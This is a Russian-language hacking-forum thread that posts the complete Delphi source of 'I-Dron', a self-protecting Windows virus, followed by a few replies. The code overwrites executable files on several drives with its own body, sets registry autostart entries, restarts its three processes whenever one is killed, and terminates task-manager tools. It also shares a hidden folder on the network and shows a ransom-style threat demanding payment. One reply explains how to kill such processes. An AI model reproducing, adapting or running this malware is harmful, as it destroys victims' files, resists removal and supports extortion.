"Трудноубиваемый вирус" I-Dron

KaeraK · 19 янв 2012

Создает три процесса, например 1, 2, 3. Если убить процесс 2, то через пару секунд он восстановится одним из своих "братьев". Такой "цикл" присущий каждому процессу.

Код:

{
Coded by gravitas (aka B3JIoMep)
Special for DelfCode.ru
}
program IDron;
uses
  windows,
  Tlhelp32,
  SysUtils;

type
  TFileName = type string;


  TSearchRec = record
    Time: Integer;
    Size: Integer;
    Attr: Integer;
    Name: TFileName;
    ExcludeAttr: Integer;
{$IFDEF MSWINDOWS}
    FindHandle: THandle  platform;
    FindData: TWin32FindData  platform;
{$ENDIF}
{$IFDEF LINUX}
    Mode: mode_t  platform;
    FindHandle: Pointer  platform;
    PathOnly: String  platform;
    Pattern: String  platform;
{$ENDIF}
  end;
    LongRec = packed record
    case Integer of
      0: (Lo, Hi: Word);
      1: (Words: array [0..1] of Word);
      2: (Bytes: array [0..3] of Byte);
  end;

const
  size = 55000;
  st = 7;
  WM_DESTROY          = $0002;
  faReadOnly  = $00000001 platform;
  faHidden    = $00000002 platform;
  faSysFile   = $00000004 platform;
  faVolumeID  = $00000008 platform;
  faDirectory = $00000010;
  faArchive   = $00000020 platform;
  faSymLink   = $00000040 platform;
  faAnyFile   = $0000003F;


var
DronSize : integer;
H : integer = 0;
dira:string;
run:boolean=true;
MyName : array [1..3] of string;
DronName : array [1..3] of string = ('xcalc.exe', 'xWin.exe', 'winplayer.exe');
Dir : array [0..2] of string = ('F:\', 'G:\', 'H:\');
// Добавьте еще если хотите
Proc : array [1..3] of string = ('PROWiSe.exe','taskmgr.exe','anvir.exe');
TID, TID1, TID2:cardinal;
xHand: THandle;
thr, thr1, thr2   :  cardinal;
th : array [1..20] of cardinal;
idthr : array [1..20] of cardinal;


function ShellExecute(hWnd: HWND; Operation, FileName, Parameters, Directory: PChar; ShowCmd: Integer):integer; stdcall; external 'shell32.dll' name 'ShellExecuteA';



function CreateDir(const Dir: string): Boolean;
begin
  Result := CreateDirectory(PChar(Dir), nil);
end;

function GetWin(Comand: string): string;
var
  buff: array [0 .. $FF] of char;
begin
  ExpandEnvironmentStrings(PChar(Comand), buff, SizeOf(buff));
  Result := buff;
end;

procedure Bat;
const name = '1.bat';
var
f:textfile;
begin
AssignFile(f, name);
rewrite(f);
Writeln(f, '@echo off');
Writeln(f, 'echo Vash komputer zarajen mnoy');
Writeln(f, 'echo Esli cherez 12 chasov posle etogo soobscheniya vi ne perevedete NN rubley na nomer +7xxxxxxxxxx ...');
Writeln(f, 'echo Vash komputer budet polnostyu unichtojen vmeste so vsey informaciey na nem.');
Writeln(f, 'pause');
Writeln(f, 'del %0');
CloseFile(f);
ShellExecute(0, 'open', PChar(name), '', '', SW_MAXIMIZE);
end;

procedure reestro(keyname:string; Path:string);
var
hRegKey:hkey;
begin
    RegOpenKeyEx(HKEY_LOCAL_MACHINE, 'Software\Microsoft\Windows\CurrentVersion\Run\', 0, KEY_SET_VALUE, hRegKey);
    RegSetValueEx(hRegKey, PChar(keyname), 0, REG_SZ, PChar(Path), Length(Path)+1);
    RegCloseKey(hRegKey);
end;

function FindMatchingFile(var F: TSearchRec): Integer;
var
  LocalFileTime: TFileTime;
begin
  with F do
  begin
    while FindData.dwFileAttributes and ExcludeAttr <> 0 do
      if not FindNextFile(FindHandle, FindData) then
      begin
        Result := GetLastError;
        Exit;
      end;
    FileTimeToLocalFileTime(FindData.ftLastWriteTime, LocalFileTime);
    FileTimeToDosDateTime(LocalFileTime, LongRec(Time).Hi,
      LongRec(Time).Lo);
    Size := FindData.nFileSizeLow;
    Attr := FindData.dwFileAttributes;
    Name := FindData.cFileName;
  end;
  Result := 0;
end;

function FindNext(var F: TSearchRec): Integer;
begin
  if FindNextFile(F.FindHandle, F.FindData) then
    Result := FindMatchingFile(F) else
    Result := GetLastError;
end;
procedure FindClose(var F: TSearchRec);
begin
  if F.FindHandle <> INVALID_HANDLE_VALUE then
  begin
    Windows.FindClose(F.FindHandle);
    F.FindHandle := INVALID_HANDLE_VALUE;
  end;
end;
function FindFirst(const Path: string; Attr: Integer;
  var  F: TSearchRec): Integer;
const
  faSpecial = faHidden or faSysFile or faVolumeID or faDirectory;
begin
  F.ExcludeAttr := not Attr and faSpecial;
  F.FindHandle := FindFirstFile(PChar(Path), F.FindData);
  if F.FindHandle <> INVALID_HANDLE_VALUE then
  begin
    Result := FindMatchingFile(F);
    if Result <> 0 then FindClose(F);
  end else
    Result := GetLastError;
end;

function GetMySize : longint;
var
filename : string;
SearchRec : TSearchRec;
begin
FileName := paramstr(0);
if FindFirst(ExpandFileName(FileName), faAnyFile,SearchRec)=0
then Result:=SearchRec.Size
else Result:=-1;
FindClose(SearchRec);
end;

function FileEx(FileName:string):boolean;
var
  FindData: TWin32FindData;
begin
  Result:=(FindFirstFile(PChar(FileName),FindData) <> INVALID_HANDLE_VALUE);
end;

function DirEx(const Directory: string): Boolean;
var
  Code: Integer;
begin
  Code := GetFileAttributes(PChar(Directory));
  Result := (Code <> -1) and (FILE_ATTRIBUTE_DIRECTORY and Code <> 0);
end;

function FindTask(ExeFileName: string): integer;
 var
  ContinueLoop: BOOL;
  FSnapshotHandle: THandle;
  FProcessEntry32: TProcessEntry32;
 begin
  result := 0;
  FSnapshotHandle := CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
  FProcessEntry32.dwSize := Sizeof(FProcessEntry32);
  ContinueLoop := Process32First(FSnapshotHandle, FProcessEntry32);
  while integer(ContinueLoop) <> 0 do
   begin
    if ((UpperCase(ExtractFileName(FProcessEntry32.szExeFile)) = UpperCase(ExeFileName))
     or (UpperCase(FProcessEntry32.szExeFile) = UpperCase(ExeFileName)))
      then Result := 1;
    ContinueLoop := Process32Next(FSnapshotHandle, FProcessEntry32);
   end;
  CloseHandle(FSnapshotHandle);
 end;


function KillTask(ExeFileName: string): Integer;
const
  PROCESS_TERMINATE = $0001;
var
  ContinueLoop: BOOL;
  FSnapshotHandle: THandle;
  FProcessEntry32: TProcessEntry32;
begin
  Result := 0;
  FSnapshotHandle := CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
  FProcessEntry32.dwSize := SizeOf(FProcessEntry32);
  ContinueLoop := Process32First(FSnapshotHandle, FProcessEntry32);

  while Integer(ContinueLoop) <> 0 do
  begin
    if ((UpperCase(ExtractFileName(FProcessEntry32.szExeFile)) =
      UpperCase(ExeFileName)) or (UpperCase(FProcessEntry32.szExeFile) =
      UpperCase(ExeFileName))) then
      Result := Integer(TerminateProcess(
                        OpenProcess(PROCESS_TERMINATE,
                                    BOOL(0),
                                    FProcessEntry32.th32ProcessID),
                                    0));
     ContinueLoop := Process32Next(FSnapshotHandle, FProcessEntry32);
  end;
  CloseHandle(FSnapshotHandle);
end;

procedure Anti_proc_manager;
var
i:integer;
begin
for i:=1 to 3 do
KillTask(Proc);
end;

function exe(filename:string):boolean;
var
x:integer;
begin
x:=length(filename);
if copy(filename,x-3,x) = '.exe' then result:= true else result:=false;
end;

// By Dolphin
procedure InfFile(filename:string);
var
otkyda, kyda: file;
n : integer;
MyBuf: array[1..Size] of Char;
FM:word;
begin
  FM:=FileMode;
  FileMode:=0;
  AssignFile(otkyda, ParamStr(0));
  Reset(otkyda, 1);
  BlockRead(otkyda, MyBuf, SizeOf(MyBuf), n);
  CloseFile(otkyda);
  FileMode:=2;
  AssignFile(kyda, filename);
  Rewrite(kyda, 1);
  BlockWrite(kyda, MyBuf, n);
  CloseFile(kyda);
  FileMode:=FM;
end;

procedure InfDir(dir:string);
var sr: TSearchRec;
begin
if DirEx(dir) then begin
FindFirst(dir+'*.*', faAnyFile, sr);
  repeat
  if (EXE(dir+sr.Name) and (sr.Size<>DronSize)) then InfFile(dir+sr.Name);
  If (DirEx(dir+sr.Name+'\') and (sr.name<>'.') and (sr.Name<>'..')) then InfDir(dir+sr.Name+'\');
  sleep(st);
  until FindNext(sr) <> 0;
  FindClose(sr);
end;
end;

procedure BuildName;
begin
MyName[1]:=pchar(getwin('%appdata%')+'\' + DronName[1]);
MyName[2]:=pchar(getwin('%windir%')+'\' + DronName[2]);
MyName[3]:=pchar(getwin('%programfiles%')+'\Windows Media Player\'+ DronName[3]);
end;

procedure RunMy;
begin
Reestro('Microsoft xCalc', MyName[1]);
Reestro('System Starter', MyName[2]);
Reestro('System Audio driver', MyName[3]);
end;

function GetDronNum : integer;
var
g:boolean;
begin
g:=false;
if Paramstr(0)=MyName[1] then begin Result:=1; g:=true; end;
if Paramstr(0)=MyName[2] then begin Result:=2; g:=true; end;
if Paramstr(0)=MyName[3] then begin Result:=3; g:=true; end;

if g=false then result:=4;
end;

procedure install;
var
i:integer;
h:hwnd;
begin
for i:=1 to 3 do  begin
if FindTask(DronName)<>1 then begin
InfFile(MyName);
sleep(150);
ShellExecute(0, 'open', PChar(MyName), '', '', SW_SHOWNORMAL);
end;
end;
end;


function mutex() : boolean;
label endof;
begin
result:=false;

if GetDronNum = 1 then begin
xHand:=CreateMutex(nil,false,'dron1');
If (GetLastError = ERROR_ALREADY_EXISTS) then begin  result:=true; goto endof; end; end;

if GetDronNum = 3 then begin
xHand:=CreateMutex(nil,false,'dron3');
If (GetLastError = ERROR_ALREADY_EXISTS) then begin  result:=true; goto endof; end; end;

if GetDronNum = 2 then begin
xHand:=CreateMutex(nil,false,'dron2');
If (GetLastError = ERROR_ALREADY_EXISTS) then   result:=true; end;
endof:
end;

procedure Start;
begin
if Mutex=true then begin
ReleaseMutex(xHand);
run:=false;
killtimer(0, TID);
end;
end;

procedure SharedMy;
begin
if not DirEx(pchar(getwin('%programfiles%')+'\Dron\')) then begin
CreateDir(pchar(getwin('%programfiles%')+'\Dron'));
winexec(pchar('attrib +h +s +a +r '+getwin('%programfiles%')+'\Dron'),0);
if not FileEx(pchar(getwin('%programfiles%')+'\Dron\I-Dron.exe')) then
InfFile(pchar(getwin('%programfiles%')+'\Dron\I-Dron.exe'));
winexec(pchar('net share axaxa='+getwin('%programfiles%')+'\Dron'),0);
end;
end;

procedure InfAll;
begin
InfDir(dira);
end;

procedure StartInf(a:integer);
var
i:integer;
begin
for i:=0 to 2 do begin
if H<19 then begin
dira:=dir;
H:=H+1;
th[h]:=CreateThread(nil, 0, @InfAll, nil, 0, idThr[h]) end else H:=1;
end;
end;


label lab1;
var
mesg:tmsg;
begin
randomize();
buildname;
DronSize := GetMySize;
if GetDronNum = 4 then begin
run:=false;
install;                                           
end;
if run=true then begin
Start();

if GetDronNum = 1 then begin
TID1:=SetTimer(0,0,3000,@Install);
TID:=SetTimer(0,0,15000,@StartInf);
end;

if GetDronNum = 2 then begin
TID:=SetTimer(0,0,30000,@SharedMy);
TID1:=SetTimer(0,0,600,@Install);
TID2:=SetTimer(0,0,10000,@RunMy);
end;

if GetDronNum = 3 then begin
bat;
install;
TID1:=SetTimer(0,0,1000,@Install);
TID2:=SetTimer(0,0,800,@Anti_proc_manager);
end;

While (GetMessage(Mesg,0,0,0) and (run=true)) do
 begin
 if run=false then goto lab1;
  TranslateMessage(Mesg);
  DispatchMessage(Mesg);
 end;
end;
lab1:                                                               
end.

Автор: Gravitas

UnHidden Content:

P.S. Вспомнил... onthar, когда его разводили на Дедал, то на прогруз он давал лоадер, с такими функциями

Mr.Burns · 19 янв 2012

ВНЕЗАПНО!

KaeraK · 19 янв 2012

Mr.Burns сказал(а): ↑

ВНЕЗАПНО!

Нажмите, чтобы раскрыть...

Не все настолько круты

Зловред расчитан "на дурака".

onthar · 19 янв 2012

Еще такие процессы можно по очереди заморозить в менеджере процессов типа Process Hacker, это же работает и с бэкдорами в режиме Persistance.
После заморозки по очереди поубивать. Если нет внедрений в другие процессы, то сработает.

KaeraK · 28 янв 2012

Neuro сказал(а): ↑

Смысл какой с етого виря?
Нажмите, чтобы раскрыть...

"Дольше" просидеть в системе жертвы.

Быстрый поиск

"Трудноубиваемый вирус" I-Dron